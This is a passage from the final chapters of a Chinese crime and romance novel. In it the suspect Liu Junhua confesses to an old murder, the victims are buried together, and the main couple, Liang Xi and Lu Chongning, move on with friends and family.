“等案子结了,我们一起把杨姨和路叔合葬吧。”
路崇宁转过身抱着梁喜,好半天说出一句,“喜喜,你不要离开我。”
“以后不会了。”
即便五年前她提分手,路崇宁始终在心里占据一处角落,五年之后,周遭的一切物是人非,但她爱的人自始至终从未变过。
第76章 第七十六章 刘俊华被捕。……
正如信航他们预料, 刘俊华没上那趟预定好的航班,他开着港粤两地牌照的车连夜直奔香港,估计想从那边前往境外, 抓住他的时候他乔装成司机, 但口罩下的脸却很平静。
流程走完,刘俊华被押往化城, 据广州那边警察反映, 刘俊华被抓时极其淡定, 也没反抗, 怕有什么猫腻, 所以特意提醒一下化城这边。
审讯开始后连续几个问题刘俊华都只字不答,他穿着昂贵的衣服却面容憔悴,犹如遭受巨大打击后整个人垮掉的感觉, 和公司主页栏里的形象照大相径庭,或许照片里的人是刘俊华,而坐在审讯室里的人才是马有原。
两个名字,同一主体, 却经历了高低悬殊的人生。
信航:“我该叫你刘俊华还是马有原?”
“虽然吃多了山珍海味, 但我现在还是喜欢吃东北的炖菜, 穿了无数件贵衣服, 仍然怀念我妈给我做的棉袄。”
“你想说什么?”
“我想说, 人的底色再怎么洗也洗不掉, 原生家庭和成长环境注定了我的底色,这些年我改了名字, 拼了命往富人堆里扎,到头来发现我和他们还是不一样。”
信航不想听他抒情,说:“就我们目前掌握的物证和人证足以给你定罪, 你不说也没关系。”
“人证?”刘俊华一一点名,“吴青,曲天明,还有我妹妹马有平,只有这三个人知道。”
“曲天明什么也没说。”
“没想到他还肯站在我这边,我也不算孤立无援,吴青我和他之间没有交情,只有利益,他认识我之前就是个卖菜的小贩,做生意失败了南下打工,要不是我他哪有今天,我帮他开了那么多家连锁生鲜店他还不知足,又盯上我在化城拿下的项目,欲壑难填,至于小平,她患有间歇性精神病,她的话不能作为证据。”
“马有平已经康复了,现在是正常人,你这个当哥的大可放心。”
“放心”刘俊华冷笑一声,“是我大意了,她疯疯癫癫的模样骗过了我。”
信航实在气愤,“她是你妹啊!”
“正因为她是我妹,我才留她一条命,而且不到万不得已不会动她,否则这样一枚“炸弹”我早拆了。”
信航深呼吸平复情绪,“说说吧,杀害杨婉仪的过程。”
“杨、婉、仪。”刘俊华一字一顿,眼前浮现她年轻时漂亮的容颜,“你们终究还是找到她了,小平当时蒙着眼,怎么知道埋尸地点的?”
“你别低估你妹妹,也别低估警察的能力。”
刘俊华闭上眼睛,好半天才睁开,眼里似有泪光闪动,“本来说好一起回广州,我可以给她比之前好上一百倍的生活,可她还是没跟我走,我为她做了那么多,怎么甘心到头来一场空”
之后一大段叙述中,刘俊华承认了杀害杨婉仪的过程,前面和马有平的证词基本对得上,而他与杨婉仪争执的源头,是杨婉仪想见路召庆最后一面,刘俊华不小心说出路召庆已经自杀的消息,实则路召庆是被逼的,刘
俊华让吴青告诉他,只有他死了,杨婉仪还有他们的儿子才能活命,路召庆为了顾全老婆孩子,自杀死在杨家镇一处房屋内。
刘俊华说出路召庆的死讯是想让杨婉仪彻底死心,没想到杨婉仪听到后执意要走,路召庆已经死了,她不能再丢下路崇宁不管,刘俊华眼看自己好不容易谋划的一切要化为泡影,挽留过程中酿成大错。
本来他想把尸体拉到山里埋了,但怕日后被动物或者什么人挖到,碰巧赶上村里老人去世,有个挖好的现成墓坑,是准备第二天一早下葬的,刘俊华又往下挖了一米,将杨婉仪的尸体推进去埋好,等到第二天那位老人下葬,棺材直接压上去,没有任何人察觉。
事后刘俊华以曾用名“马有原”的名义为全喜村捐钱铺路,重建小学,借此一并修了祖坟,并告诫村里人祖坟是找人算好的风水,任何人未经他同意不许私自挪坟,村里人受着他的恩惠,自然没人有异议,就这样相安无事过了这些年,本以为那件事会深埋地下,永久尘封,没想到报应还是来了。
“在看见警察之前我挺想跑的,可警察出现后我突然感觉到一股强烈的无力,甚至觉得有些解脱,好像扎在心头多年的刺终于可以拔出来了,其实我要真下定决心跑,你们未必抓得到我。”
信航笑了声,刘俊华又说:“这些年我经常做噩梦,梦见婉仪来找我,头上、身上全是血,每次吓醒就再也睡不着了,慢慢变得神经虚弱,吃一堆药不见好,我四处烧香拜佛,为了赎罪,我还定了一个计划,慢慢接近婉仪的儿子,把他弄出国打工赚钱,替他平掉利息,不让那些债主找他麻烦,等他回国后我又把他弄到我公司来,想让他以后继承我所有打拼来的一切,你知道吗?对婉仪的儿子越好,我心里的罪孽感就越轻,也不像之前那么频繁做噩梦了我是真心想补偿,没成想到头来还是一样,这就是命吧,我和过去周旋许久,是时候该放手了。”
刘俊华对杨婉仪的爱执着到畸形,他以为搞垮路召庆的生意,杨婉仪就能回到他身边,谁知逼死了路召庆,杨婉仪也反悔跟他一起回广州的决定,到头来一场空。
结束审讯前刘俊华提出一个请求,“我说的这些是不是一定会传到婉仪他儿子那?”
“当然,他是被害者家属。”
信航说完又补一句,“路召庆和杨婉仪唯一的孩子,有知情权。”
“替我说声对不起。”
“传达的道歉没有诚意可言,如果他日法庭相见,你可以当面和他说,但杀母之仇”
信航没说完的话刘俊华肯定明白什么意思,他仰头看着头顶晃眼的灯,感到一股蚀骨的痛,奔波了大半辈子,兜兜转转回到故乡,一切化为泡影,未曾真正拥有过
在完成法律程序后,路崇宁领回杨婉仪的尸骨,并联系墓地那边,将杨婉仪与路召庆合葬。
下葬当天,梁喜、信航一家,还有孟相帆也来了,天气晴朗,太阳当空,墓园像往常一样宁静,只是冬日萧瑟,目之所及没有任何生命力,就像那些长眠此地的故人。
经过一个多月的时间,路崇宁的心情平复许多,他不再终日消沉,生活节奏也慢慢回到从前,只是偶尔夜晚的时候梁喜看到他独自坐在阳台抽烟,灯也不开,每每这时梁喜都没有上前打扰,他在疗伤,在想念,只有放任那些情绪在黑夜里流出,才有勇气面对白天的太阳。
“小宁,这瓶酒是你家建厂出的第一批酒。”
信民把一瓶白酒打开,递给路崇宁,“当年建厂的时候你才几岁,肯定不记得了。”
这瓶酒的瓶身路崇宁倒是见过,以前酒厂办公室有一个展柜,存放从酒厂售出的各个类型的酒,后来家里出事,那些酒不知道哪去了,可能连同房子一起被踏平了吧。
随着路崇宁倒酒,孟相帆说:“路叔,杨姨,相帆看你们来了,多喝点啊。”
瓶盖盖上,路崇宁紧紧握在手里,这个酒瓶他要带回去,他爸没留下什么念想之物,而他妈的玉镯,在完成取证后路崇宁找人修复好,放在骨灰盒里随她深埋地下。
能葬在故土,是人活一辈子最后的浪漫,正如中国那句俗语,“树高千丈,落叶归根”,虽然活着的时候太过颠簸,但回归故乡也算是一种安慰和寄托吧。
下葬结束,唐姨和民叔有事着急赶回店里,剩下四个小辈在梁喜家附近找了一家之前吃过的饭馆,梁喜不知道其他地方是什么习俗,但在东北,不管红事还是白事,办完之后一起吃个饭已经约定俗成了。
点完菜梁喜把路崇宁从墓地带回来的空酒瓶擦干,裹上纸巾塞进包里。
“小宁,喝点热水。”
孟相帆要给路崇宁倒,他撤回杯子,“我喝冰的吧。”
“大冬天,喝什么冰水。”
梁喜接过孟相帆手里的水壶,给路崇宁倒了一杯,这回他安静等着,没反驳。
孟相帆笑笑,“还得梁喜治你,别人谁也不行。”
他旁边的信航一言不发,路崇宁了然信航已经知道他和梁喜在一起的事,但这段时间各自忙着,从没摊到桌面上明说过。
路崇宁起身跟服务员要了一瓶可乐,放在信航面前,他还没说什么,孟相帆不乐意了,“我呢?”
“你喝水。”
信航冲孟相帆得意地晃晃脑袋,拧开瓶盖仰头喝了两大口,故意气他。
孟相帆向梁喜投去求助的眼神,她把水壶慢慢放到孟相帆跟前,“喝水。”
亲不亲一目了然,孟相帆叹口气,梁喜赶忙安慰他,“一会儿肉都给你吃。”
这回换信航反对,被梁喜一个眼神瞪回去。
吃完饭各回各家,梁喜和路崇宁送走他俩,手牵手往回走,中午时分,太阳照在身上没什么暖意,呼吸间白气飘忽,顷刻被寒风吹散。
路崇宁握着梁喜的手揣进他上衣口袋,没走多远手心全是汗,梁喜抽回去,说:“你是小朋友吗?火力这么旺。”
“我是大朋友。”
路崇宁说话时带着一点点笑意,一点点轻松和自在。
梁喜心里清楚,那些过往依然如往常一样声势浩荡地朝他走去,但他终于可以笑着面对,不再惧怕,不再躲闪,带着那些忘不掉的记忆继续生活,时间总会将它淡化,慢慢消融。
所以万事不平别无他法的时候,就交给时间吧。
【全文完结】
第77章 第七十七章 终章。
本年的最后一天, 梁喜在工作室看到了许京平的结婚请柬,是寄给老王的。
请柬上面还有他们夫妻的合照,他妻子长得很漂亮, 看着略微成熟, 不知道和许京平相差几岁。
梁喜看完请柬,合上放回原处, 周靖哲又拿起来看了看, 说:“许老师真要结婚了啊。”
“不然呢?”
周靖哲解释说:“你不知道, 许老师以前特别喜欢你, 处处为你着想, 还为你的黑陶事业做规划,没想到,唉, 原来富家少爷也身不由己。”
“人家已婚,这话以后别再说了。”
自从路崇宁把周靖哲收拾一顿,他养好伤到工作室第一件事就是给梁喜道歉,而且之后一直表现不错, 梁喜这才大人不记小人过, 继续跟他以同事身份相处, 只是他从前的癖好还是没改, 经常有姐姐来工作室找他, 有时闲聊, 有时买个黑陶,倒是佩姐一次没再来, 周靖哲也没再提过她,彻底翻篇。
请柬放回去,周靖哲说:“行吧, 以后不提了,反正老王会代表咱们工作室去,以他俩的交情,不得随一万啊?”
梁喜把他放歪的请柬摆正,“师父只代表他自己。”
“诶?你和你哥啥时候结婚?”
梁喜冲他瞪眼,“重问。”
“你和你男朋友啥时候结婚?”
“不知道。”
梁喜转身双手插兜去楼上干活,背影看着潇洒,可周靖哲问的话还在脑子里不停循环,她
和路崇宁复合没多久,结婚的事压根没想过,即便现在让她想,她也想不出个所以然
刘俊华被捕后路崇宁从原来公司辞职,又重新找了一份工作,比之前忙,但他乐在其中。
信航偶尔过来,说说笑笑和从前没什么两样,只是很少单独和梁喜待在一起,有时甚至刻意避开,梁喜没察觉,路崇宁、孟相帆还有崔影都看出来了,但谁都没和梁喜提过,为了她好,也为了信航。
一月八号,路崇宁生日,赶上周末,中午唐姨做了一桌子菜,让梁喜和路崇宁过去吃,晚上崔影请客,所以和唐姨他们聚餐只能排在中午。
信航上午去单位加了个班,快开饭的时候才回来,买了几盒蓝莓进屋递给路崇宁,说:“给喜喜买的,拿回去吃。”
梁喜听见了,“拿回去干嘛,在这吃呗。”
说完一把抢过去,到厨房洗。
菜都做好端上桌,蓝莓放到一边,等吃腻了饭菜再吃,老两口带着三个孩子吃得高兴,唐姨怪民叔让他买蛋糕怎么没买,民叔看了信航一眼,说:“你儿子不让买,他们几个小的晚上聚餐,朋友订了。”
唐姨把一块排骨夹给路崇宁,“小宁,多吃点,看你瘦的。”
信航见状把碗递到她妈面前,一脸嬉笑,唐姨无情拒绝,“自己夹。”
嘴上这么说,又给梁喜夹了一块。
“我跟你民叔商量了,等你俩结婚,婚礼我们来办,你俩一点不用操心,召庆和婉仪不在了,估计来不了多少人,你俩要不想办,就把钱给你俩,现在的小年轻不是流行旅游结婚嘛,出去转转散散心,也挺好。”
信航听他妈说着,低头往嘴里扒饭,路崇宁和梁喜在一起的事还是他亲自告诉爸妈的,怕他俩不好意思开口,也怕唐姨乱拉线,越早说越好。
路崇宁看了梁喜一眼,“唐姨,结婚的事我俩还没想,以后再说。”
“行,不急,喜喜吃菜,多吃点。”
“诶。”
梁喜有点饱了,捏了几颗蓝莓,酸甜度正好。
吃完饭信航还要回单位,他把路崇宁和梁喜送回家,下午孟相帆要过来找他俩,晚上一起去崔影那集合
下午梁喜睡了一觉,路崇宁没睡,他把梁喜昨晚脱下来的衣服洗完后躺到小屋床上摆弄梁喜送他的相机。
前两天就寄到了,说明书看了一遍没什么意思,他干脆自己研究,等调好参数,拍下第一张照片,之后又随便拍了一些静物,慢慢摸索,他很享受这个过程。
三点多,梁喜开门出来,睡得头发都炸了,她直奔小屋,一头栽倒在路崇宁身边,拱了拱,被他抱住。
“没睡够吧?再睡会儿。”
“嗯。”
梁喜肚子上的手捏了捏,她睁眼,“干嘛?”
“好玩。”
路崇宁的手向下游走,被梁喜一把打开,“别逼我扇你。”
手缩回去,路崇宁一根指头不敢动。
梁喜抻个懒腰起来收拾,去唐姨家吃饭可以不洗脸直接去,晚上毕竟要见外人,得收拾一下。
一月差不多是最冷的时候,梁喜拿出一条针织裙套上,路崇宁帮她把拉链拉好,问:“会不会冷?”
“不冷,外面套羽绒服呢。”
路崇宁还想说什么,被梁喜支走,“你赶紧穿衣服,孟相帆都到了,刚才发信息催咱俩呢。”
路崇宁眉头一皱,“怎么不给我发?”
梁喜抬脚,他赶忙去拿羽绒服
四点半,光影韩餐店靠窗位置坐着三个人,老板崔影,信航还有孟相帆。
“蛋糕几点送?”崔影问。
孟相帆看眼时间,“应该快了。”
信航在旁边“咔哧咔哧”吃得正香,他面前放着一个小竹筐,里面的虾片已经被他吃掉一半。
忽然门打开,一个外卖员手里提溜着蛋糕进来,同时孟相帆的电话响了,他没接直接挂断,站起来对外卖员说:“我定的蛋糕。”
外卖员核实完电话尾号,放下蛋糕离开。
崔影和信航凑过去,孟相帆解开丝带,盒子盖敞开,“寿比南山”四个大字露出来。
崔影和信航相视一眼,同时转头看向别处,表示很无语。
“怎么了?”孟相帆问。
崔影叹口气,“款式谁选的?”
“我啊,现在流行这个,老年人表情包年轻人玩得最溜。”
信航不怀好笑,“你最好祈祷晚上喜喜不会削你。”
孟相帆跟崔影求证,“不会吧?喜喜那么好。”
“跟你不熟的时候自然对你客气,现在熟了,你以为你能躲得掉啊。”
正说着,梁喜和路崇宁推门进来,路崇宁手里抱着一箱红提,梁喜特意买给崔影的。
“小宁。”孟相帆嬉笑过去,一把接过红提,说:“咋不提前给我打电话?我出去接你啊大寿星。”
路崇宁不明所以,看向信航,“你给他吃什么药了?”
信航指着蛋糕,“你过来看吧,你的好兄弟孟相帆同学给你订的蛋糕。”
四个人围成一圈,孟相帆则把红提放到吧台上,远远站着不敢靠前。
“这是什么东西?”
梁喜双手攥拳,转头看向孟相帆,眼神快要把他杀死。
“一种”他迅速现编,“美好的祝福,你懂的。”
转回来梁喜对崔影说:“招牌拌饭别给孟相帆吃。”
“那必须听你的。”
生日聚会在六人包房里,梁喜和崔影坐一侧,另外三个男的坐另一侧,这顿饭崔影请,孟相帆买了蛋糕,而信航送的又是衣服,从头到脚里里外外买全了,就像路崇宁刚回来时那样。
饭局过半,路崇宁和信航去外面抽烟,孟相帆感觉路崇宁有话说,所以没跟着。
店门口的木质长椅,刚坐上有些凉,不过没关系,冬天嘛,室外没有暖和的地方,一会儿就适应了。
烟点上,信航说:“刘俊华想见你,他想给你一部分经济补偿。”
“不必了。”
“我也是这么跟他说的。”
路崇宁吸了口烟,烟雾轻轻吐出,气息凝结,像一道云雾在夜色下缓缓飘散。
“信航。”路崇宁有点欲言又止。
“我知道你要说什么。”信航直接干脆,“是,我喜欢喜喜,你也喜欢喜喜,现在你俩在一起了,怕我伤心,对不对?”
路崇宁垂着头,用力吸了口烟,沉闷地“嗯”了声,这种事没什么谁对谁错,要不是因为信航,路崇宁根本用不着提。
信航仰头看着路灯,淡淡说道:“不是我把喜喜让给你,而是她根本没爱过我,我只是一个她儿时的玩伴,一个随心聊天的朋友,一个故乡的熟人,仅此而已,如果我有困难她会尽力帮我,但绝不会爱我小宁,你一定要把喜喜娶回家,到时我包个大红包,不过你俩我只给一份哈!两份想都别想,好事不能全让你俩占了吧,多少给我留点儿。”
话都被信航说了,路崇宁不知是高兴还是难过,或者两种情绪交织,一齐涌向心口,但比之前清明许多。
“以后这茬咱俩谁也别提了,行吗?”
信航拍拍路崇宁肩膀。
“好,不提。”
“这烟不好抽。”
嘴上嫌弃,可信航说完又吸了一口。
路崇宁抿抿手中的烟,说:“领导给的,我也没抽过。”
“领导给的啊,那不能便宜。”信航把烟掐灭,站起来,“回去吧,该吹蜡烛了,今年许愿把我带上,祝我找个好媳妇儿。”
路崇宁笑笑,“好,愿望都给你。”
周六晚上一场大雪过后,第二天街上全是铲雪车,飞扬的雪花很像夏日里的洒水车,只是没有人造彩虹而已。
等雪清得差不多了,梁喜和路崇宁打车前往墓地,每次他俩来都先去梁喜她爸的墓,之后再去看路崇宁爸妈。
今天梁喜依然买了黄色和白色两种菊花,混拼在一起,一共两束,虽然花朵在冬天室外放不长,但无所谓,心意到了就行。
站在路召庆夫妇墓前,梁喜把花放下,问路崇宁:“三叔怎么样了?”
“停职调查,还没有最终结果。”
因为刘俊华被捕很多事情连带着被揪出来,梁辰景没能逃过这一劫。
路崇宁手搭梁喜肩膀,“阿姨后来又联系你了吗?”
“打过两次电话,没什么说的,几句就挂了。”
“她有自己新的家庭,没办法的事。”
“所以啊,还是不要想起我,各过各的日子。”
这话乍听起来冷漠,可细细一品的确如此,梁喜不想故作温情,更不想假装大度,糊弄别人,难为自己
“今年冬天没有去年冷。”
路崇宁看向梁喜,“是,都没怎么下雪。”
“记得小时候,下完雪咱们仨还在你家门口的树下堆雪人来着。”
“嗯,你拿我妈新买的围巾给雪人戴,我妈找了好久,还以为丢了。”
梁喜笑笑,“是嘛,我都不记得了,不过杨姨应该不知道是我拿的吧,要不然我再去就没有小蛋糕吃了。”
“不会,你在她心里是完美小孩儿。”
梁喜眨眨眼睛,有点发酸。
“走吧,回家。”
“嗯。”
梁喜被路崇宁牵着手离开墓地,转身的一瞬,她又不禁想起梁辰义的脸,还有路叔和杨姨。
这些年生活总有波澜,可梁喜也见过无风的水面,在多年前,在她和路崇宁小时候,家人的庇佑像一颗大树,阻挡着雨雪,让阳光散落,他们顺遂成长,一步步走向未来,当树干枯萎,甚至死去,他们才得以见识到这个世界真正的模样,虚伪,贪婪,盛大,广阔。
即便活在这样的世界里,梁喜依然勇敢,路崇宁依然坚毅,他们是爱人,也是盟友,执一盏不灭的灯,一同穿过至暗黑夜。
——全文完。